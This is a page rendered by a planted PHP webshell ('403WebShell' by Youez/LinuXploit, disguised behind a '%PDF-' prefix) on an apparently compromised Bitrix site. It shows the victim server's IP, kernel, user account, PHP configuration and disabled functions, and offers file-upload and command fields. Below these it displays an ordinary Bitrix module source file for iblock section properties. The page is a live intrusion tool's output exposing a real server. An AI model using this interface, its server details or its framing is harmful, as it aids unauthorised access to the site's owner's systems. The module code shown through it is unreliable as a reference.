%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.142.249.59
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/asd.iblock/classes/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/asd.iblock/classes/general/iblock_prop_section.php
<?php
IncludeModuleLangFile(__FILE__);

define('ASD_UT_SECTION', 'SASDSection');

class CASDiblockPropSection {
	const VIEW_MODE_SELECT = 0;
	const VIEW_MODE_WINDOW = 1;

	protected static $cache = array();
	protected static $treeCache = null;

	public static function GetUserTypeDescription() {
		return array(
			'PROPERTY_TYPE' => 'N',
			'USER_TYPE' => ASD_UT_SECTION,
			'DESCRIPTION' => GetMessage('ASD_UT_SECTION_DESCR'),
			'CheckFields' => array(__CLASS__, 'CheckFields'),
			'ConvertToDB' => array(__CLASS__, 'ConvertToDB'),
			'ConvertFromDB' => array(__CLASS__, 'ConvertFromDB'),
			'GetPropertyFieldHtml' => array(__CLASS__, 'GetPropertyFieldHtml'),
			'GetAdminListViewHTML' => array(__CLASS__,'GetAdminListViewHTML'),
			'GetPublicViewHTML' => array(__CLASS__, 'GetPublicViewHTML'),
			'GetAdminFilterHTML' => array(__CLASS__,'GetAdminFilterHTML'),
			'GetSettingsHTML' => array(__CLASS__,'GetSettingsHTML'),
			'PrepareSettings' => array(__CLASS__,'PrepareSettings'),
			'GetUIFilterProperty' => array(__CLASS__, 'GetUIFilterProperty')
		);
	}

	protected static function GetTree($intIBlockID, $intMaxLevel) {
		if (self::$treeCache === null) {
			$arFilter = array('IBLOCK_ID' => $intIBlockID);
			if ($intMaxLevel > 0) {
				$arFilter['<=DEPTH_LEVEL'] = $intMaxLevel;
			}
			$rsSections = CIBlockSection::GetList(
				array('LEFT_MARGIN' => 'ASC'),
				$arFilter,
				false,
				array('ID', 'NAME', 'IBLOCK_ID', 'DEPTH_LEVEL')
			);
			while ($arSection = $rsSections->Fetch()) {
				self::$treeCache[] = $arSection;
				self::$cache[$arSection['ID']] = $arSection;
			}
		}
	}

	protected static function GetValue($intIBlockID, $intSectionID) {
		$strResult = '';
		if (isset($intSectionID)) {
			if (!isset(self::$cache[$intSectionID])) {
				$rsSections = CIBlockSection::GetList(
					array(),
					array('ID' => $intSectionID, 'IBLOCK_ID' => $intIBlockID),
					false,
					array('ID', 'IBLOCK_ID', 'NAME', 'DEPTH_LEVEL')
				);
				if ($arSection = $rsSections->Fetch()) {
					self::$cache[$intSectionID] = $arSection;
				}
			}
			if (isset(self::$cache[$intSectionID])) {
				$strResult = self::$cache[$intSectionID]['NAME'];
			}
		}
		return $strResult;
	}

	public static function CheckFields($arProperty, $value) {
		$arResult = array();
		if (isset($value['VALUE']) && !empty($value['VALUE']) && !empty($arProperty['IBLOCK_ID'])) {
			if (!isset(self::$cache[$value['VALUE']])) {
				$rsSections = CIBlockSection::GetList(
					array(),
					array('ID' => $value['VALUE']),
					false,
					array('ID', 'IBLOCK_ID', 'NAME', 'DEPTH_LEVEL')
				);
				if ($arSection = $rsSections->Fetch()) {
					self::$cache[$value['VALUE']] = $arSection;
				}
			}
			if (isset(self::$cache[$value['VALUE']])) {
				if (self::$cache[$value['VALUE']]['IBLOCK_ID'] != $arProperty['IBLOCK_ID']) {
					$arResult[] = GetMessage('ASD_UT_SECTION_NO_PARENT_IBLOCK');
				}
			}
		}
		return $arResult;
	}

	public static function ConvertToDB($arProperty, $value) {
		if (isset($value['VALUE']) && $value['VALUE']>0) {
			$value['VALUE'] = intval($value['VALUE']);
		}
		return $value;
	}

	public static function ConvertFromDB($arProperty, $value) {
		if (isset($value['VALUE'])) {
			$value['VALUE'] = intval($value['VALUE']);
		}
		return $value;
	}

	public static function GetPropertyFieldHtml($arProperty, $arValue, $strHTMLControlName) {
		$strResult = '';
		$arSettings = self::PrepareSettings($arProperty);
		if (
			$arSettings['VIEW_MODE'] == self::VIEW_MODE_SELECT ||
			(isset($strHTMLControlName['MODE']) && $strHTMLControlName['MODE'] == 'EDIT_FORM')
		) {
			if (self::$treeCache === null) {
				self::GetTree($arProperty['IBLOCK_ID'], $arSettings['MAX_LEVEL']);
			}
			ob_start();
			?>
			<select name="<? echo $strHTMLControlName["VALUE"]; ?>" id="<? echo $strHTMLControlName["VALUE"]; ?>">
			<option value=""><? echo GetMessage('ASD_UT_SECTION_MESS_TOP_LEVEL'); ?></option>
			<?
			foreach (self::$treeCache as $arSection) {
				?>
				<option value="<? echo $arSection['ID']; ?>"<? echo ($arSection['ID'] == $arValue['VALUE'] ? ' selected' : ''); ?>><?
				echo str_repeat(' . ', $arSection['DEPTH_LEVEL']-1).htmlspecialcharsex($arSection['NAME']);
				?></option><?
			}
			?>
			</select>
			<?
			$strResult = ob_get_contents();
			ob_end_clean();
		}
		elseif ($arSettings['VIEW_MODE'] == self::VIEW_MODE_WINDOW) {
			ob_start();
			$strItemID = preg_replace("/[^a-zA-Z0-9_]/", "x", $strHTMLControlName['VALUE']);
			$strLink = '/bitrix/admin/iblock_section_search.php?lang='.LANGUAGE_ID.'&IBLOCK_ID='.$arProperty['IBLOCK_ID'].'&n='.$strItemID;
			if ($arValue['VALUE'] == 0) {
				?><input type="text" id="<? echo $strItemID; ?>" name="<? echo htmlspecialcharsbx($strHTMLControlName['VALUE']); ?>" value="" size="5">
				<input type="button" value="..." onclick="jsUtils.OpenWindow('<? echo $strLink; ?>', 900, 700);">
				<span id="sp_<? echo $strItemID; ?>"></span>
				<?
			} else {
				$strName = self::GetValue($arProperty['IBLOCK_ID'], $arValue['VALUE']);
				?><input type="text" id="<? echo $strItemID; ?>" name="<? echo htmlspecialcharsbx($strHTMLControlName['VALUE']); ?>" value="<? echo $arValue['VALUE']; ?>" size="5">
				<input type="button" value="..." onclick="jsUtils.OpenWindow('<? echo $strLink; ?>', 900, 700);">
				<span id="sp_<? echo $strItemID; ?>"><? echo htmlspecialcharsex($strName); ?></span>
				<?
			}
			$strResult = ob_get_contents();
			ob_end_clean();
		}

		return $strResult;
	}

	public static function GetAdminListViewHTML($arProperty, $arValue, $strHTMLControlName) {
		$strResult = '';
		$strName = self::GetValue($arProperty['IBLOCK_ID'], $arValue['VALUE']);
		if ($strName != '') {
			$strResult = htmlspecialcharsbx($strName).
			' [<a href="'.
			htmlspecialcharsbx(CIBlock::GetAdminSectionEditLink($arProperty['IBLOCK_ID'], $arValue['VALUE'])).
			'" title="'.GetMessage("IBEL_A_SEC_EDIT").'">'.$arValue['VALUE'].'</a>]';
		}
		return $strResult;
	}

	public static function GetPublicViewHTML($arProperty, $arValue, $strHTMLControlName) {
		$strResult= self::GetValue($arProperty['IBLOCK_ID'], $arValue['VALUE']);
		if ($strResult != '') {
			$strResult = htmlspecialcharsbx($strResult);
		}
		return $strResult;
	}

	public static function GetAdminFilterHTML($arProperty, $strHTMLControlName) {
		$strResult = '';
		ob_start();
		$strItemID = preg_replace("/[^a-zA-Z0-9_]/", "x", $strHTMLControlName['VALUE']);
		$strLink = '/bitrix/admin/iblock_section_search.php?lang='.LANGUAGE_ID.'&IBLOCK_ID='.$arProperty['IBLOCK_ID'].'&n='.$strItemID;
		$strValue = '';
		if (isset($GLOBALS[$strHTMLControlName['VALUE']]))
			$strValue = $GLOBALS[$strHTMLControlName['VALUE']];
		if ($strValue == 0) {
			?><input type="text" id="<? echo $strItemID; ?>" name="<? echo htmlspecialcharsbx($strHTMLControlName['VALUE']); ?>" value="" size="5">
			<input type="button" value="..." onclick="jsUtils.OpenWindow('<? echo $strLink; ?>', 900, 700);">
			 <span id="sp_<? echo $strItemID; ?>"></span>
			<?
		} else {
			$strName = self::GetValue($arProperty['IBLOCK_ID'], $strValue);
			?><input type="text" id="<? echo $strItemID; ?>" name="<? echo htmlspecialcharsbx($strHTMLControlName['VALUE']); ?>" value="<? echo $strValue; ?>" size="5">
			<input type="button" value="..." onclick="jsUtils.OpenWindow('<? echo $strLink; ?>', 900, 700);">
			 <span id="sp_<? echo $strItemID; ?>"><? echo htmlspecialcharsex($strName); ?></span>
			<?
		}
		$strResult = ob_get_contents();
		ob_end_clean();
		return $strResult;
	}

	public static function GetUIFilterProperty($property, $strHTMLControlName, &$fields) {
		$arSettings = self::PrepareSettings($property);
		if (self::$treeCache === null) {
			self::GetTree($property['IBLOCK_ID'], $arSettings['MAX_LEVEL']);
		}
		$items = array();
		foreach (self::$treeCache as $section) {
			$items[$section["ID"]] = str_repeat(". ", $section["DEPTH_LEVEL"] - 1).$section["NAME"];
		}
		unset($section);
		$fields['type'] = 'list';
		$fields['items'] = $items;
		$fields['params'] = array("multiple" => "Y");
		unset($items);
	}

	public static function GetSettingsHTML($arFields, $strHTMLControlName, &$arPropertyFields) {
		$arPropertyFields = array(
			'USER_TYPE_SETTINGS_TITLE' => GetMessage('ASD_UT_SECTION_SETTING_TITLE'),
		);
		$arSettings = self::PrepareSettings($arFields);
		return '<tr>
		<td>'.GetMessage('ASD_UT_SECTION_SETTING_VIEW_MODE').'</td>
		<td>'.SelectBoxFromArray(
			$strHTMLControlName['NAME'].'[VIEW_MODE]',
			array(
				'REFERENCE' => array(
					GetMessage('ASD_UT_SECTION_SETTING_VIEW_MODE_SELECT'),
					GetMessage('ASD_UT_SECTION_SETTING_VIEW_MODE_WINDOW')
				),
				'REFERENCE_ID' => array(
					self::VIEW_MODE_SELECT,
					self::VIEW_MODE_WINDOW
				)
			),
			$arSettings['VIEW_MODE']
		).'</td>
		</tr>
		<tr>
		<td>'.GetMessage('ASD_UT_SECTION_SETTING_MAX_LEVEL').'</td>
		<td><input type="text" name="'.$strHTMLControlName['NAME'].'[MAX_LEVEL]" value="'.$arSettings['MAX_LEVEL'].'"> '.GetMessage('ASD_UT_SECTION_SETTING_MAX_LEVEL_DESCR').'</td>
		</tr>';
	}

	public static function PrepareSettings($arFields) {
		$intViewMode = self::VIEW_MODE_SELECT;
		$intMaxLevel = 0;
		if (isset($arFields['USER_TYPE_SETTINGS'])) {
			if (isset($arFields['USER_TYPE_SETTINGS']['VIEW_MODE'])) {
				$intViewMode = intval($arFields['USER_TYPE_SETTINGS']['VIEW_MODE']);
				if ($intViewMode != self::VIEW_MODE_WINDOW) {
					$intViewMode = self::VIEW_MODE_SELECT;
				}
			}
			if (isset($arFields['USER_TYPE_SETTINGS']['MAX_LEVEL'])) {
				$intMaxLevel = intval($arFields['USER_TYPE_SETTINGS']['MAX_LEVEL']);
			}
			if ($intMaxLevel < 0) {
				$intMaxLevel = 0;
			}
		}
		return array(
			'VIEW_MODE' => $intViewMode,
			'MAX_LEVEL' => $intMaxLevel
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit